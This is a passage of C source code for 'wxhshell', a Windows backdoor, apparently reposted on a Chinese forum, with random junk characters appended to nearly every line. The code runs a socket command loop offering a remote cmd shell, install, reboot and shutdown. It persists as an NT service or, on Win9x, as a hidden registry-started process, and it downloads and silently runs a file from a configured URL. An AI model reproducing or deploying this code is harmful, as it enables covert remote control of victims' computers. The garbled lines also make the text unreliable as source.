      send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); PSvRO% &  
    break; \EqO;A%<  
  } 32J  
  // 安装 t*$@QO  
  case 'i': { S!bvU2d  
    if(Install()) E$baQU hKS  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); eVJL|uI|  
    else A]slssE+  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); $x<-PN  
    break; ;0WlvKF  
    } P|4a}SWU  
  // 卸载 3KZ h?~B  
  case 'r': { lTNkmQ  
    if(Uninstall()) TR;-xst@  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); #wcoLCjs)  
    else {rr\hl-$  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); }\*|b@)]  
    break; ]z$<6+G  
    } 6Vo}Uaq4  
  // 显示 wxhshell 所在路径 R 1\]Y  
  case 'p': { w}0PtzOe  
    char svExeFile[MAX_PATH]; ng\S%nA&J  
    strcpy(svExeFile,"\n\r"); NIGFu{S  
      strcat(svExeFile,ExeFile); )oCF| 2qc  
        send(wsh,svExeFile,strlen(svExeFile),0); Z H*?~ #  
    break; VzNH%  
    } <aS1bQgaU  
  // 重启 8;@eY`0(  
  case 'b': { \>Q,AyL  
    send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); L T!X|O.  
    if(Boot(REBOOT)) 2^:nlM{u  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); QUO?q+  
    else { bEJZh%j!  
    closesocket(wsh); EJsb{$u  
    ExitThread(0); LNW p$"  
    } q9>w3 <  
    break; Si(?+bda0c  
    } -8: @xG2  
  // 关机 jLU)S)  
  case 'd': { qx NV~aK  
    send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); 6C=.8eP  
    if(Boot(SHUTDOWN)) ^  +G> N  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); s4\2lBU?  
    else { F ry5v?22  
    closesocket(wsh); [DviN  
    ExitThread(0); mE1*F'0a  
    } ]cK@nq)  
    break; D[_2:8  
    } N[%IrN3  
  // 获取shell 7(-<x@e  
  case 's': { #';r 0?|  
    CmdShell(wsh); p_D)=Ef|&  
    closesocket(wsh); \ U_DTI  
    ExitThread(0); XooAL0w  
    break; W3#L!&z_wK  
  }  K!j2AP3  
  // 退出 MH-,+-Eq  
  case 'x': { n$8A"'.M  
    send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); ~PHG5?X  
    CloseIt(wsh); 8dNJZoV  
    break; }OZfsYPz}T  
    } ~EymD *  
  // 离开 nN: i{t4f  
  case 'q': { Yi3DoaS;"  
    send(wsh,msg_ws_end,strlen(msg_ws_end),0); 78kk"9h'  
    closesocket(wsh); x[E`2_Ff0  
    WSACleanup(); {Ffr l(*  
    exit(1); p}\!"&,^m  
    break; !{+(oDN  
        } sj1x>  
  } 8w4.|h5FP  
  } o z QL2  
lnhZ!_  
  // 提示信息 )!Bv8&;e  
    if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); 00ho*p!E'  
} '?nhpT^  
  } asb") NfIm  
 zcc]5>  
  return; sSxra!tv4  
} *e=e7KC6kI  
]#;JPO#*  
// shell模块句柄 o_S8fHqjt  
int CmdShell(SOCKET sock) W/+0gh7`,(  
{ ?V+=uTCq  
STARTUPINFO si; q QQ~ [JL  
ZeroMemory(&si,sizeof(si)); U-(d~]$  
si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; 59|Tmf(dS;  
si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; Sn0 Gw  
PROCESS_INFORMATION ProcessInfo; N 6eY-`4y  
char cmdline[]="cmd"; Cs<d\"+  
CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); D<:9pLD(  
  return 0; 1]"b.[P>  
} Xv6s,<#\  
n#iL[ &/Aw  
// 自身启动模式 ZCa?uzeo]  
int StartFromService(void) D0~mu{;c$  
{ s;L7 _.hH@  
typedef struct awUIYAgJ3  
{ DLVf7/=3~  
  DWORD ExitStatus; #qzozQ4  
  DWORD PebBaseAddress; 3OTSLF/  
  DWORD AffinityMask; |&7l*j(\  
  DWORD BasePriority; 8"? t6Z;5  
  ULONG UniqueProcessId; y37@4p^@9  
  ULONG InheritedFromUniqueProcessId; Ma$b(4dB  
}   PROCESS_BASIC_INFORMATION; ~<aCn-h0  
zKR_P{W>^  
PROCNTQSIP NtQueryInformationProcess; "&An9H'  
,JR7N_"I  
static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; z}Q54,9m  
static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; |zSkQ_?54  
W n|w~{d{  
  HANDLE             hProcess; ;Q ]bV52  
  PROCESS_BASIC_INFORMATION pbi; yzYPT}t  
MD&Ebq5V  
  HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); ,oR}0(^"\<  
  if(NULL == hInst ) return 0; Bb m1&d#  
3AWg43L7  
  g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); *9G;n!t  
  g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); y'{0|Xj  
  NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); #P1k5!u  
Nt/>RCh  
  if (!NtQueryInformationProcess) return 0; Rv }e+5F  
jZ)1]Q2  
  hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); YS &3+Tp  
  if(!hProcess) return 0; mN, Od?q[  
i-$]Tg  
  if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; hW]:CIqk  
2x0[@cT i?  
  CloseHandle(hProcess); R{/nlS5  
rZ<@MV|d  
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); `Q,03W#GJ%  
if(hProcess==NULL) return 0; xGN&RjPk\  
qWdL|8  
HMODULE hMod; &GX pRo  
char procName[255]; VCtj8hKDr  
unsigned long cbNeeded; , j7&(V~  
>%t"VpvR  
if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); gW RSS=8%  
JpN+'/  
  CloseHandle(hProcess); {qK>A?9  
N,L$+wm  
if(strstr(procName,"services")) return 1; // 以服务启动 yy@g=<okt\  
X180_Kt2  
  return 0; // 注册表启动  RCKb5p9  
} [+UF]m%W  
ki39$A'8  
// 主模块 Y'wQ(6ok  
int StartWxhshell(LPSTR lpCmdLine) (k4>I"x)  
{ du  Pzt  
  SOCKET wsl; ;>bcI).  
BOOL val=TRUE; Pi`}-GUe,  
  int port=0; !A qSG-  
  struct sockaddr_in door; !IF#L0z  
R!5j1hMN`  
  if(wscfg.ws_autoins) Install(); _O{3bIay3!  
(X;D.s  
port=atoi(lpCmdLine);  s'RE~,  
(V 5_q,2  
if(port<=0) port=wscfg.ws_port; T|[zk.8=E  
@-)jU!  
  WSADATA data; q &#f#Ou  
  if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; I'm.+(1m,  
.*+%-%CbP  
  if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1;   ~"xc 3(h  
setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); 1?\G6T  
  door.sin_family = AF_INET; qX>mOW^gT8  
  door.sin_addr.s_addr = inet_addr("127.0.0.1"); F[5[@y  
  door.sin_port = htons(port); _NA[g:DZ&O  
?U$H`[VF}  
  if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { [f 4Nq \i  
closesocket(wsl); MF69n,(o  
return 1; DAa??/,x7  
} hV_bm@f/y  
8R0Q-,'  
  if(listen(wsl,2) == INVALID_SOCKET) { D<% /:M  
closesocket(wsl); Pv@Lx+ k  
return 1; zT4SI'r?f  
} $}+t|`*q8]  
  Wxhshell(wsl); KPTp91  
  WSACleanup(); m`_s_#  
iEjUo, Y[  
return 0; O!xul$9  
ai0am  
} M<$a OW0  
:%!` R72  
// 以NT服务方式启动 Qu]F<H*Y|  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) ^26vP7  
{ kzozjh%`9h  
DWORD   status = 0; l1 Nr5PT  
  DWORD   specificError = 0xfffffff; s 1~&PH^  
X!6oviT|m  
  serviceStatus.dwServiceType     = SERVICE_WIN32; (@X].oM^y  
  serviceStatus.dwCurrentState     = SERVICE_START_PENDING; l<X8Ooan#{  
  serviceStatus.dwControlsAccepted   = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; , !0-;H.Y  
  serviceStatus.dwWin32ExitCode     = 0; d>k)aIYp  
  serviceStatus.dwServiceSpecificExitCode = 0; rs`"Kz`(  
  serviceStatus.dwCheckPoint       = 0; rW),xfo0  
  serviceStatus.dwWaitHint       = 0; lfTDpKz3D  
bMU0h,|]  
  hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); jxeZ,w o  
  if (hServiceStatusHandle==0) return; N #C,q&;  
'z\$.L  
status = GetLastError(); M4rI]^lJ  
  if (status!=NO_ERROR) uPh/u!  
{ ,Kl6vw8Htg  
    serviceStatus.dwCurrentState     = SERVICE_STOPPED; ;fi H=_{us  
    serviceStatus.dwCheckPoint       = 0; xQA6!j  
    serviceStatus.dwWaitHint       = 0; {zhajY7  
    serviceStatus.dwWin32ExitCode     = status; S1SsJo2\  
    serviceStatus.dwServiceSpecificExitCode = specificError; u?xXZ]_u-  
    SetServiceStatus(hServiceStatusHandle, &serviceStatus); Z @f4=  
    return; dkUh[yo"H  
  } V d`}F0WD  
Z2@_F7cXt  
  serviceStatus.dwCurrentState     = SERVICE_RUNNING; ^&8FwV]  
  serviceStatus.dwCheckPoint       = 0; _|1m]2'9  
  serviceStatus.dwWaitHint       = 0; u /6b.hDO  
  if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); LKX; ^  
} ip)gI&kN`z  
.0=VQU  
// 处理NT服务事件,比如:启动、停止 (?y (0%q  
VOID WINAPI NTServiceHandler(DWORD fdwControl) `%@| sK2  
{ g._`"c  
switch(fdwControl) <?h,;]U  
{ Z~[EZgIg  
case SERVICE_CONTROL_STOP: xryXO(  
  serviceStatus.dwWin32ExitCode = 0; /U@T#S  
  serviceStatus.dwCurrentState = SERVICE_STOPPED; Q95`GuI@  
  serviceStatus.dwCheckPoint   = 0; b_v{QE<  
  serviceStatus.dwWaitHint     = 0; J!+)v  
  { pXap<T  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); I l2`c}9  
  } ?mq<#/qb  
  return; sR;^7(f!m  
case SERVICE_CONTROL_PAUSE: 0cF +4,5  
  serviceStatus.dwCurrentState = SERVICE_PAUSED; o W<Z8s;p  
  break; M dKkj[#  
case SERVICE_CONTROL_CONTINUE: _@] uHp|  
  serviceStatus.dwCurrentState = SERVICE_RUNNING; B QxU~s  
  break; u*"mdL2  
case SERVICE_CONTROL_INTERROGATE: JbR;E`8  
  break; K+P:g%M  
}; Yt3 +o<  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); :@oy5zib  
} DuvI2Z WP]  
Fi3k  
// 标准应用程序主函数 D^-6=@<3KD  
int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow) Ew,1*WK!  
{ SSrYFu"  
Q |1-j  
// 获取操作系统版本 1w~@'ZyU  
OsIsNt=GetOsVer(); SI"y&[iw  
GetModuleFileName(NULL,ExeFile,MAX_PATH); Bj1{=Pvl  
#)BbW40f6  
  // 从命令行安装 h+d  \u  
  if(strpbrk(lpCmdLine,"iI")) Install(); 1&2X*$]y  
RX\l4H5;  
  // 下载执行文件 b~Q8&z2  
if(wscfg.ws_downexe) { ;l$F<CzJay  
if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK) f#>ubmuI^  
  WinExec(wscfg.ws_filenam,SW_HIDE); C]01(UoSZ  
} )1PjI9M  
_$vAitUe4S  
if(!OsIsNt) { _(zPA4q8q  
// 如果时win9x,隐藏进程并且设置为注册表启动 ;;{!wA+"D  
HideProc(); -ufO,tJRLL  
StartWxhshell(lpCmdLine); yRdME>_L  
} v<u`wnt  
else lO+6|oF0  
  if(StartFromService()) +=o?&  
  // 以服务方式启动 0Z,a3)jcc  
  StartServiceCtrlDispatcher(DispatchTable); "j*{7FBqk  
else |XV@/ZGl~  
  // 普通方式启动 V/,@hv`+  
  StartWxhshell(lpCmdLine); _&U.DMt2 C  
I}hY @  
return 0; drkY~!a  
}
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只看该作者 1 发表于: 2006-10-10
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